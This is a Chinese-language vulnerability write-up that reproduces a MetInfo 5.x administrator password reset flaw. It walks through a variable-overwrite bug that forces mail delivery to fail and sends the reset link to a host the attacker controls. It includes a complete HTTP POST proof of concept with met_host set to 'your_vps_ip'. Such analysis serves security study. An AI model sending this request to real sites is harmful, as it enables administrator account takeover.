前言

在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的。

正文

首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件。

首先包含了 ../include/common.inc.php , 在这个文件中可以搞清楚对我们提交参数的处理。

把提交的参数注册为变量, 这样的代码非常容易形成变量覆盖漏洞。

getpassword.php 中 首先注册提交的参数为变量,然后生成重置密码的连接,最后发送出去。问题就出在发送链接的流程中。

发送时首先通过 jmailsend 发送,如果发送失败,则使用 curl_post 重发一遍。

curl_post中会向 met_host:80 发送 POST 数据, 而我们可以利用 变量覆盖 设置  met_host 为我们自己的 vps, 然后我们就可以接收到密码重置连接了。

下面就是要让程序能进入该流程。

jmailsendmet_fd_port 为邮件服务器的 端口,我们使用 变量覆盖 设置 met_fd_port 为一个随机端口,就会导致 $mail->Send() 发送失败 返回 false, 然后就可以进入 curl_post

最后的 poc:

POST /admin/admin/getpassword.php HTTP/1.1
Host: hack.metinfo.net
Content-Length: 115
Cache-Control: max-age=0
Origin: http://hack.metinfo.net
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hack.metinfo.net/admin/admin/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=10334; re_url=http%3A%2F%2Fhack.metinfo.net%2Fadmin%2F
Connection: close action=next2&abt_type=2&admin_mobile=admin&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=8569&met_host=your_vps_ip

vps80端口就可以接收到

总结

拿到一套程序首先看看对提交数据的处理,如果有 变量覆盖 漏洞,就去可能出现漏洞的功能代码里面看看能不能利用 变量覆盖 漏洞,一些不好静态看的东西,可以自己测试一下。

参考

https://xianzhi.aliyun.com/forum/topic/2097#toc-0

Metinfo 5.x 管理员密码重置漏洞的更多相关文章

  1. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  2. MetInfo5.3管理员密码重置漏洞

    点击忘记密码 下一步 输入已知用户名或者邮箱点击下一步用Burp拦截 右键发送到Repeater 在第一行php后面拼接?met_host虚拟机kali的ip地址:端口号拼接完成后 用虚拟机监听拼接的 ...

  3. MongoDB·Windows下管理员密码重置解决方案

    阅文时长 | 1.07分钟 字数统计 | 1730.4字符 主要内容 | 1.问题切入 2.详细步骤 3.声明与参考资料 『MongoDB·Windows下管理员密码重置解决方案』 编写人 | SCs ...

  4. Centos下的GitLab的安装汉化和数据备份以及管理员密码重置

    前言: 安装版本:gitlab-ce-8.8.5-ce.1.el7.x86_64.rpm 下载地址: https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yu ...

  5. WEB安全新玩法 [4] 防护邮箱密码重置漏洞

    大部分具有账号系统的应用都会提供重置用户登录密码的功能,常见方式之一是:用户输入自己的邮箱地址或手机号,应用向这个邮箱或手机号发送验证码,用户将收到的验证码输入应用中即可完成密码重置.这一过程容易因设 ...

  6. Dbshop v1.3任意用户密码重置漏洞

    0x00 前言 年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题 0x01 漏洞简介 本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危. 1.找 ...

  7. ZZCMS8.2 用户密码重置漏洞

    前言 一个找回密码处的逻辑漏洞, 还是有点意思的. 正文 首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可 下面去 getpassword.php 里面看看, 首先包含了一些文件 ...

  8. jenkins 管理员密码重置

    jenkins管理员 admin的密码忘记怎么重置呢? 修改admin的加密密码为123456的加密密码 #jbcrypt:$2a$10$MiIVR0rr/UhQBqT.bBq0QehTiQVqgNp ...

  9. Docker中安装了gitlab,忘记了管理员密码,进行管理员密码重置

    重置docker中gitlab中root账号的密码 一.进入Docker的gitlab容器中 1.查看所有容器 docker ps 2.进入gitlab容器中 docker exec -it gitl ...

随机推荐

  1. MySQL密码修改(四)

    一.修改破解MySQL密码 1.1:修改密码 在知道原始密码的情况下 [root@web1 ~]# mysqladmin -uroot -p -S /home/mysql/3307/mysql.soc ...

  2. POJ 2328

    #include<iostream> #include<stdio.h> #include<string> using namespace std; int mai ...

  3. python strip()函数的用法

    函数原型 声明:s为字符串,rm为要删除的字符序列 s.strip(rm)         删除s字符串中开头.结尾处,位于 rm删除序列的字符 s.lstrip(rm)        删除s字符串中 ...

  4. Java_单例模式

    主要介绍单例模式的一种写法.注意事项.作用.测试,以Java语言为例,下面代码是目前见过最好的写法: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ...

  5. hexo上部署博客到Github失败

    fatal: could not read Username for 'https://github.com': No error 今天在上传博客到搭建到 Github 的个人博客上的时候,已经使用 ...

  6. Struts全局跳转

    1.在struts配置文件中配置一个全局跳转 2.然后关联一个jsp文件 4.关联好以后会出现如图所示页面 在代码中会有如图所示的代码增加 5.然后再action中设置跳转

  7. 在Ubuntu16.04上使用Autofs

    在Solaris上,autofs是默认安装的,可以通过/net/<NFS server>很方便地访问远程的共享目录.但在Linux上(例如Fedora或者Ubuntu),使用autofs则 ...

  8. HA_Snapshots 数据库快照

    1. 创建测试数据库HA_Snapshot 2. 创建快照 create database HA_Snapshot_20 on ( name = HA_Snapshot, filename = '.. ...

  9. ASP.NET MVC 学习笔记-1.ASP.NET MVC 基础

    ASP.NET MVC在原来ASP.NET的基础上抛弃了基于页面的架构风格,使用了全新的MVC(模型-视图-控制器)架构的一种技术. 目前,它和ASP.NET都共存在.NET Framework之上. ...

  10. 钉钉微应用接入钉钉免登陆配置记录。NET实现

    在这里记录一下我配置的钉钉接入微应用遇到的坑.搞了我几天天才调通.头皮发麻,现在梳理一下,以免别人也入坑. 1.钉钉接入主要要获取钉钉企业员工的ID,然后去自己的应用的数据库里进行匹配然后实现免登陆的 ...